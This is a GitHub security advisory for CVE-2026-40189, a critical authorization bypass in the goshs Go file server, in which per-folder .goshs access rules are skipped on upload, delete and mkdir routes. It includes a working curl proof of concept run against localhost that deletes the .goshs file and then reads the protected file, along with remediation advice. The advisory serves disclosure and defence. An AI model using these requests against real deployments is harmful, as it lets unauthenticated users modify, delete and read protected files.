Skip to content

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Critical severity GitHub Reviewed Published Apr 9, 2026 in patrickhener/goshs • Updated Apr 15, 2026

Package

gomod github.com/patrickhener/goshs (Go)

Affected versions

<= 1.1.4

Patched versions

None

Description

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

  • README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
  • README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

  • httpserver/filebased.go:10-49 loads .goshs
  • httpserver/handler.go:68-91 calls findSpecialFile() for directories
  • httpserver/handler.go:94-101 calls findSpecialFile() for files
  • httpserver/handler.go:285-305 applies custom auth
  • httpserver/handler.go:545-565 enforces folder auth during directory rendering
  • httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

  • httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
  • httpserver/server.go:105-109 routes PUT directly to put()
  • httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
  • httpserver/updown.go:18-60 writes files for PUT without checking .goshs
  • httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
  • httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
  • httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

  • Repository/module: github.com/patrickhener/goshs
  • Verified vulnerable tag: v2.0.0-beta.3
  • Also present in the v1.1.4 line based on code inspection
  • Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret

goshs_poc1

Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.

PoC Video for reference:

https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7

Impact

This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:

  • create or overwrite files inside a folder that should require authentication
  • create directories inside the protected folder
  • delete arbitrary files reachable through the vulnerable route inside that protected folder
  • delete the .goshs policy file itself
  • read previously protected files once the policy file has been removed

In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.

Remediation

  1. Enforce .goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth.
  2. Protect .goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.
  3. Add regression tests covering protected folders for every mutation path. The test suite should verify that PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.

References

@patrickhener patrickhener published to patrickhener/goshs Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Published by the National Vulnerability Database Apr 10, 2026
Last updated Apr 15, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(34th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-40189

GHSA ID

GHSA-wvhv-qcqf-f3cx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.